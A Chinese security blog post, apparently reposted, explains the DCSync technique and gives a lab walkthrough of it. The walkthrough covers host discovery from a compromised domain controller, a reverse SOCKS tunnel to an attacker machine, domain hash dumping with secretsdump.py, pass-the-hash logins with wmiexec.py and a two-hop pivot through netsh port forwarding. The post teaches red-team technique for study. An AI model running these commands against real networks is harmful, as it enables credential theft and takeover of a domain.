文章总结: 本文详细介绍了DCSync攻击的原理与实战操作。DCSync通过模拟域控制器利用DRS协议的IDL_DRSGetNCChanges接口合法同步机制远程获取域内密码哈希。攻击需高权限且对RODC无效。文章展示了从域控沦陷后建立反向代理隧道进行横向移动最终控制内网主机的完整过程并讨论了该技术易被检测但具有备选价值的特点。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,安全工具,漏洞分析
DCSync工作原理及凭据访问
原创
花鸟 花鸟
花鸟在线
2026年6月7日 16:48 福建
在小说阅读器读本章
去阅读
中大型企业通常会上域控,管理域环境中的成员,构成重要的基础设施,权力很大。面对爱挑战的极客,它们常沦为目标。因为拿下域控等于突破了权限的限制。在域环境中打报告与横跳的过程,专业术语叫横向移动。
域控会面对很多种攻击,利用DCSync达到目标就是其中一种。
- DCSync本质
通过模拟域控制器来获取域内密码哈希的渗透技术,利用的是域内合法的数据同步机制。
- DCSync原理
在域环境中,域控制器之间会定期同步数据。DCSync 技术便是模拟这一合法行为,通过 Directory Replication Service (DRS)协议的 IDL_DRSGetNCChanges接口,向目标域控制器请求复制密码哈希等敏感数据。
但如果想成功利用有两个关键点:
- 高权限要求:默认情况下,只有Administrators、Domain Controllers、Enterprise Domain Admins成员才能实现目录复制。
- RODC无效:假如攻击目标为是个只读域控制器(RODC),则该攻击会失败,因为RODC不进行数据同步。
- 凭据访问
通过一些套件可以完成该任务。
模拟靶场(假设抛开HIDS、NDR和AV检测):域控沦陷,以此为跳板,再向内横移。
操作链路:
- 在DC(.131)上信息搜集
在DC上执行ipconfig确认网卡的IP段,执行 net view或 ping探测内网存活主机。
C:\>for /l %i in (1,1,255) ;do ping -n 1 -w 1 192.168.1.%i |findstr TTL
通过批量ping指令,每个目标建立1次握手包,探活出.133主机
C:\>ping -n 1 -w 1 192.168.1.133 | findstr TTLReply from 192.168.1.133: bytes=32 time=157ms TTL=128
管理员组&企业组信息
- 建立代理隧道 -> 接入内网
流量代理:靶场中的攻击机能够直达DC,也能让DC主动回连。因为正向代理,需要在DC上开启一个监听端口,这不是一个好习惯。在尽量不动目标环境的思维驱使下,使用反向代理会更隐蔽一些。让DC主动连接攻击机的监听端口,建立反向隧道。
目标:让攻击机能通过DC访问隔离的内网(Win10、Win7)。
方法:
攻击机(linux)启动:─# ./ew_for_linux64 -s rcsocks -l 1090 -e 9833
DC回连:./ew.exe -s rssocks -d 192.168.1.125 -e 9833
反向Socks代理通道已成功建立。
接着:攻击机配置代理客户端 ,此时攻击机可以像在内网一样,可访问Win10的3389、445等端口。
在正式开始攻击前,先验证代理配置是否成功。
DC ldap端口连通性正常,隧道就绪。
3. 横向移动 -> 控制目标主机 (Win10/Win7)
哈希传递:使用 secretsdump.py,利用从DC获取的域管理员NTLM哈希,直接登录Win10/Win7。
远程桌面:利用 3389端口,使用域管理员账号直接远程桌面登录。
远程WMI:使用 impacket-wmiexec在目标主机上执行命令。
目标:利用DC的域管理员权限,横向渗透至内网机器,执行任意操作。
方法(通过代理执行):
- 导出所有域用户的哈希值
└─# python secretsdump.py nr.com/vk:[email protected]
- 使用 Pass-the-Hash 进行认证,登录win10(.133)
└─# vk python wmiexec.py nr.com/[email protected] -hashes :0de1aef3fcb3702df9de94dede954e96
发现双网卡,通向另一个ip网段。将Win10作为第二级跳板,可以进一步深入探测原本无法直接访问的隔离网段。
- 建立两级跳板场景,在Win10开代理,在DC上作转发,网络直达Win7
第一步:Win10开启监听1080第二步:DC端口转发1081--->1080第三步:代理客户端连接DC 1081
Win10开启监听1080
ew_for_Win.exe -s ssocksd -l 1080
DC端口转发
netsh interface portproxy add v4tov4 listenport=1081 connectaddress=192.168.1.133 connectport=1080
代理客户端配置,
socks5 192.168.1.131 1081
探测Win7 IP:192.168.56.108
利用DCSync导出的特权票据,传递Win7(56.108)
vk python wmiexec.py nr.com/[email protected] -hashes :0de1aef3fcb3702df9de94dede954e96
- 极易被发现
相比mimikaz需在目标机器上运行,但动静小。secretsdump.py在 DCSync 时会为每个用户单独发起一次 IDL_DRSGetNCChanges请求。这在短时间内会产生大量请求,更容易被基于流量的检测规则发现。本质上是一种抉择,是追求便利性还是隐蔽性。如果为了导出凭据,最后牺牲一个据点也同样具有价值。
思考一:为何不去域控?
我想,业务是为了集权,安全为了去中心化。双方在维持和破坏平衡。没有域控,很多长在域控上的业务将无法正常运作。
思考二:DCSync动静这么大为何还用?
DCSync诞生那一刻注定无法消亡,正如前面说的,它具有备选价值,作为高级的后渗透攻击技术,允许攻击者伪装成合法的域控制器,并利用域控制器之间默认存在的目录复制协议,向目标域控制器发起请求,从而远程拉取 Active Directory 中存储的所有密码哈希数据。是否可以在某种场景下,利用它来制造“噪声”,换个利用条件其价值也可能成真。
Tip:
IDL_DRSGetNCChanges是微软目录复制服务远程协议的核心接口,负责域控制器之间的数据同步。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:花鸟在线 花鸟 花鸟《DCSync工作原理及凭据访问》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论